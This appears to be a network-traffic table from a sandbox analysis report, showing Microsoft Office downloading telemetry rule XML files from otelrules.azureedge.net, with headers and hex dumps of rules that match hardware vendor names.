Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:18 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 00beaf03-101e-0065-2c60-2e4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091318Z-157b9fd754fnmqw2hC1SN10ngs00000004500000000077ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49725	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:18 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 2b307645-e01e-001f-335c-2e1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091318Z-157b9fd754fdj9g2hC1SN1a7tn000000044000000000467a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49728	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 94eba7f5-101e-0079-455c-2e5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091319Z-158dbd74bf4dtwdphC1SN1ubaw00000003ag000000004h92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49729	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e9380aa8-701e-005c-5160-2ebb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091319Z-157b9fd754ftc7cbhC1SN1xe2w000000048g000000000t9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:19 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49731	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:19 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:19 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: f5f9dbe8-f01e-0071-2e5c-2e431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091319Z-157b9fd754fhlggqhC1SN1drew00000004a00000000045se x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:19 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49732	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:19 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:19 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: ea0f8f90-301e-0020-7758-2e6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091319Z-158dbd74bf4jjjdmhC1SN1vmen00000003v0000000003qqe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:19 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49730	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:19 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:19 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: c0039004-a01e-0070-7e5f-2e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091319Z-158dbd74bf4jwfhhhC1SN1bnb000000003x0000000001vsw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:19 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49733	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:19 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 38302bdf-e01e-0052-3b4a-2ed9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091320Z-157b9fd754ft52nwhC1SN1agvs0000000460000000003b6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49734	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:20 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 676680a8-d01e-0082-1c5c-2ee489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091320Z-157b9fd754f2l2w5hC1SN1vs4g000000046g000000000qf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49737	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:20 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 23d3b202-401e-0083-108e-2d075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091320Z-157b9fd754f6hqf4hC1SN1580c000000041g000000006xa4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49735	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:20 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:20 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: bfc5cfc9-a01e-0070-0546-2e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091320Z-157b9fd754f4h2fnhC1SN11f0c00000004700000000005w6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:20 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49736	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:20 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: c6ee189f-401e-000a-354b-2e4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091320Z-157b9fd754f4h2fnhC1SN11f0c000000043g000000003t5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> 